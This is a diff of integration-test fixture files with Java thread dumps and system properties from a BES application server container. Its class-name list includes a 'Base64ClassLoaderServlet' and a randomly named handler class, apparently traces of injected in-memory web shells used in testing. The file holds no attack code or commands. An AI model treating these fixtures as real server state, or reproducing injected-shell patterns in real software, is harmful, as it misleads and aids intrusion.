+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
+ at java.base@17.0.19/java.security.AccessController.executePrivileged(AccessController.java:776)
+ at java.base@17.0.19/java.security.AccessController.doPrivileged(AccessController.java:399)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"http-nio-0.0.0.0-1900-Acceptor" #82 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/sun.nio.ch.Net.accept(Native Method)
+ at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
+ at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
+ at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
+ at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
+ at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RetryTimer" #61 daemon [WAITING] on java.util.TaskQueue@20543971
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.base@17.0.19/java.lang.Object.wait(Object.java:338)
+ at java.base@17.0.19/java.util.TimerThread.mainLoop(Timer.java:537)
+ at java.base@17.0.19/java.util.TimerThread.run(Timer.java:516)
+
+"SelectorReaderThread-8080-1" #83 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/sun.nio.ch.EPoll.wait(Native Method)
+ at java.base@17.0.19/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
+ at java.base@17.0.19/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
+ at java.base@17.0.19/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"http-nio-0.0.0.0-8080-Acceptor" #84 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/sun.nio.ch.Net.accept(Native Method)
+ at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
+ at java.base@17.0.19/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
+ at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
+ at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
+ at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"jmsra-WorkerThread-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RMI GC Daemon" #95 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@365983f5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.rmi@17.0.19/sun.rmi.transport.GC$Daemon.run(GC.java:127)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+ at java.base@17.0.19/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
+
+"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@48578a08
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.base@17.0.19/java.lang.Object.wait(Object.java:472)
+ at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
+ at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
+ at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
+ at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
+ at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+
+===========================================
+
+StackClassNames:
+Base64ClassLoaderServlet
+ServletNameTestFilter
+UrlMappingTestFilter
+com.bes.enterprise.appserver.startup.Bootstrap
+com.bes.enterprise.appserver.startup.CommonClassLoader$1
+com.bes.enterprise.base.disruptor.BatchEventProcessor
+com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
+com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
+com.bes.enterprise.base.disruptor.util.Util
+com.bes.enterprise.common.file.watcher.FileAlterationMonitor
+com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator
+com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque
+com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor
+com.bes.enterprise.server.builder.BesWebModule
+com.bes.enterprise.startup.ASMain
+com.bes.enterprise.web.crane.AbstractProcessorLight
+com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
+com.bes.enterprise.web.crane.http11.Http11Processor
+com.bes.enterprise.web.util.net.Acceptor
+com.bes.enterprise.web.util.net.NioEndpoint
+com.bes.enterprise.web.util.net.NioEndpoint$Poller
+com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
+com.bes.enterprise.web.util.net.SocketProcessorBase
+com.bes.enterprise.web.util.threads.ThreadPoolExecutor
+com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
+com.bes.enterprise.web.util.threads.WorkQueue
+com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
+com.bes.enterprise.web.websocket.server.WsFilter
+com.bes.enterprise.webext.BESAppservValve
+com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve
+com.bes.enterprise.webext.BesContextCleanupValve
+com.bes.enterprise.webtier.authenticator.AuthenticatorBase
+com.bes.enterprise.webtier.connector.CoyoteAdapter
+com.bes.enterprise.webtier.connector.CoyoteWriter
+com.bes.enterprise.webtier.core.ApplicationFilterChain
+com.bes.enterprise.webtier.core.DefaultContextValve
+com.bes.enterprise.webtier.core.DefaultEngineValve
+com.bes.enterprise.webtier.core.DefaultHostValve
+com.bes.enterprise.webtier.core.DefaultWrapperValve
+com.bes.enterprise.webtier.valves.ErrorReportValve
+org.apache.logging.UKnKC.ErrorQvlgaHandler
+org.hsqldb.lib.HsqlTimer
+org.hsqldb.lib.HsqlTimer$TaskQueue
+org.hsqldb.lib.HsqlTimer$TaskRunner
diff --git a/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt
index 337a2396..4e2e6c43 100644
--- a/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt
+++ b/integration-test/src/test/resources/infos/Bes951ContainerTestBasicInfo.txt
@@ -1,4 +1,4 @@
-# Generated At 2025-08-10 14:56:17
+# Generated At 2026-05-24 05:04:29
SystemProps:
bes.loader: bes-system
java.vendor: Oracle Corporation
@@ -20,11 +20,11 @@ user.name: root
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
shared.loader: "${catalina.base}/lib/shared/classes","${catalina.base}/lib/shared/*.jar"
tomcat.util.buf.StringCache.byte.enabled: true
-com.bes.hostName: 21437a35c6d3
+com.bes.hostName: b6fa2ed19f7c
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
user.language: en
derby.system.home: /opt/bes/conf
-sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
+sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
com.bes.enterprise.log.outAndErrNotRedirect: true
java.version: 1.8.0_342
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
@@ -47,7 +47,7 @@ java.home: /usr/local/openjdk-8/jre
java.vm.info: mixed mode
com.bes.instanceName: server
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
-os.version: 6.14.10-orbstack-00291-g1b252bd3edea
+os.version: 6.8.0-111-generic
path.separator: :
java.vm.version: 25.342-b07
com.bes.verboseMode: true
@@ -63,7 +63,7 @@ java.naming.factory.url.pkgs: org.apache.naming:com.bes.enterprise.ejb.core.ivm.
user.home: /root
java.specification.vendor: Oracle Corporation
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,derbyclient,bes-ejb-glue,org.apache.wss4j.wss4j-bindings,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,bes-server-webservices,bes-ee-webapp,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,org.apache.wss4j.wss4j-policy,org.apache.commons.commons-codec,org.apache.cxf.cxf-rt-rs-client,bes-ee-loader,bes-webtier-jdbc,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.cxf.cxf-rt-rs-service-description,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,org.apache.wss4j.wss4j-ws-security-dom,bes-server-internal,bes-logger,org.apache.cxf.cxf-rt-bindings-soap,org.apache.wss4j.bes-wss4j-ws-security-policy-stax,org.apache.cxf.cxf-rt-security,bes-webtier-util,org.apache.cxf.cxf-rt-databinding-jaxb,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-server-cxf-transport,bes-engine,bootstrap,org.apache.cxf.cxf-rt-transports-http,bes-patch,org.apache.cxf.cxf-rt-frontend-jaxrs,org.apache.bval-core,bes-ee-jdbc-connector,bes-distributed-session,bes-ee-webservices-connector,bes-launcher,bes-server-api,org.apache.cxf.cxf-rt-security-saml,bes-ee-jaxrs-connector,org.apache.cxf.cxf-rt-ws-policy,org.apache.bval-jsr,bes-server-jee-accessors,bes-server-hsql,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.apache.ws.xmlschema.xmlschema-core,org.objectweb.howl.howl,org.apache.cxf.cxf-rt-rs-extension,bes-server-cxf-rs,bes-webtier-servlet-api,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.cxf.cxf-rt-bindings-xml,org.apache.geronimo.specs.geronimo-osgi-locator,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,org.apache.commons.commons-pool2,org.apache.geronimo.components.geronimo-transaction,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,org.apache.cxf.cxf-rt-ws-security,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,org.slf4j.slf4j-api,org.apache.santuario.xmlsec,org.apache.neethi.neethi,derby,org.apache.cxf.cxf-core,bes-ee-catalina-integration,bes-server-ejbd,bes-deployment-common,bes-config-parser,org.metatype.sxc.sxc-runtime,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,bes-jmx-remote,bes-cli-command,bes-command-api,org.eclipse.jdt.ecj,bes-server-core,bes-api,activation,com.ibm.wsdl4j.wsdl4j,org.apache.openwebbeans.openwebbeans-el22,org.apache.cxf.cxf-rt-wsdl,org.apache.xml-resolver,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,org.apache.openwebbeans.openwebbeans-impl,org.apache.cxf.cxf-rt-frontend-jaxws,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.cxf.cxf-rt-management,org.apache.openwebbeans.openwebbeans-spi,org.apache.wss4j.wss4j-ws-security-stax,bes-ee-mojarra-connector,bes-server-cxf,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.cxf.cxf-rt-frontend-simple,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,bes-webtier-dbcp,bes-webtier-i18n-es,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,bes-webtier-el-api,bes-server-jee,org.apache.cxf.cxf-rt-rs-security,org.apache.cxf.cxf-rt-ws-addr,mbean-annotation-api,org.apache.wss4j.wss4j-ws-security-common,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket,org.apache.cxf.cxf-rt-rs-json-basic
-java.library.path: /opt/bes/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
+java.library.path: /opt/bes/lib:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.vendor.url: http://java.oracle.com/
com.bes.enterprise.deployments.classpath: false
java.vm.vendor: Oracle Corporation
@@ -82,7 +82,7 @@ java.awt.headless: true
java.io.tmpdir: /tmp
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
server.loader:
-os.arch: aarch64
+os.arch: amd64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
com.bes.webbeans.logger.WebBeansLoggerFacade: com.bes.enterprise.ejb.cdi.logging.ContainerJULLoggerFactory
bes.version: 9.5.1
@@ -105,26 +105,50 @@ javax.net.ssl.keyStorePassword: changeit
===========================================
ThreadStacks:
-"http-nio-0.0.0.0-6900-AsyncTimeout" #69 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
+"http-thread-pool-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"RMI RenewClean-[192.168.215.4:6600]" #84 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@74891c03
+"NioBlockingSelector.BlockPoller-1" #15 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
+
+"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a14f8fc
java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1320e0b9
+ java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
- at java.lang.Thread.run(Thread.java:750)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #87 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
+"RMI Reaper" #74 [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e06e655
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Accept-6600" #79 daemon [RUNNABLE]
+"RMI TCP Accept-6600" #73 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -134,14 +158,35 @@ ThreadStacks:
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
at java.lang.Thread.run(Thread.java:750)
-"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@70b6864a
- java.lang.Thread.State: WAITING
+"RMI Scheduler(0)" #77 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@552d3946
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI RenewClean-[172.17.0.3:6600]" #78 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3893e807
+ java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-6900-ClientPoller-0" #67 daemon [RUNNABLE]
+"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
+
+"http-nio-0.0.0.0-6900-ClientPoller-0" #61 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
@@ -151,47 +196,92 @@ ThreadStacks:
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
at java.lang.Thread.run(Thread.java:750)
-"RetryTimer" #51 daemon [WAITING] on java.util.TaskQueue@35b41638
+"http-thread-pool-7" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.util.TimerThread.mainLoop(Timer.java:526)
- at java.util.TimerThread.run(Timer.java:505)
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #75 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
+"http-thread-pool-6" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
+"RMI TCP Connection(2)-172.17.0.3" #79 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-0.0.0.0-8080-ClientPoller-0" #64 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
+ at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
+ at java.lang.Thread.run(Thread.java:750)
-"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389e1a89
+"admin-thread-pool-4" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
